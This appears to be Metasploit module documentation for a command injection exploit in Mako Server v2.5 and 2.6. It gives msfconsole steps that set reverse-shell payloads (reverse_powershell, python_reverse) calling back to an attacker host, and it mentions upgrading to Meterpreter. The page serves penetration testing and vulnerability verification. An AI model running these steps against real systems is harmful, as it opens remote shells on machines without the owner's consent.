Vulnerable Application

This module exploits a vulnerability found in Mako Server v2.5, 2.6. It's possible to inject arbitrary OS commands in the Mako Server tutorial page through a PUT request to save.lsp. Attacker input will be saved on the victims machine and can be executed by sending a GET request to manage.lsp.

Based on the public PoC found here: https://blogs.securiteam.com/index.php/archives/3391

Mako Server is an application framework for designing web and IoT applications.

This module has been verified against the following Mako Server versions for Windows XP SP3, Windows 7 SP1 and Linux Ubuntu 16.04 LTS:

  • v2.5
  • v2.6

Links:

Verification Steps

Windows

  1. Run the installer "mako.windows.x86" on a Windows 7 SP1 (x86/x64) target (with Powershell for this example to work)
  2. After installer finishes, double click the "Mako-Demo" shortcut on the desktop
  3. Start msfconsole on host
  4. Do: use exploit/multi/http/makoserver_cmd_exec
  5. Do: set RHOST <IP address of target system>
  6. Do: set PAYLOAD cmd/windows/reverse_powershell
  7. Do: set LHOST <IP address of host system>
  8. Do: exploit
  9. You should get a Windows command shell

Verification Steps

Linux

  1. Extract the "mako.linux-x64.tar.gz" on a Linux Ubuntu 16.04 LTS (x64) target (with Python for this example to work)
  2. From inside the extracted folder, do ./rundemo.sh
  3. Start msfconsole on host
  4. Do: use exploit/multi/http/makoserver_cmd_exec
  5. Do: set RHOST <IP address of target system>
  6. Do: set PAYLOAD cmd/unix/python_reverse
  7. Do: set LHOST <IP address of host system>
  8. Do: exploit
  9. You should get a Linux command shell (may need to wait ~30 seconds)

A typical scenario would be to obtain a Windows command shell and then upgrade to a Meterpreter session:
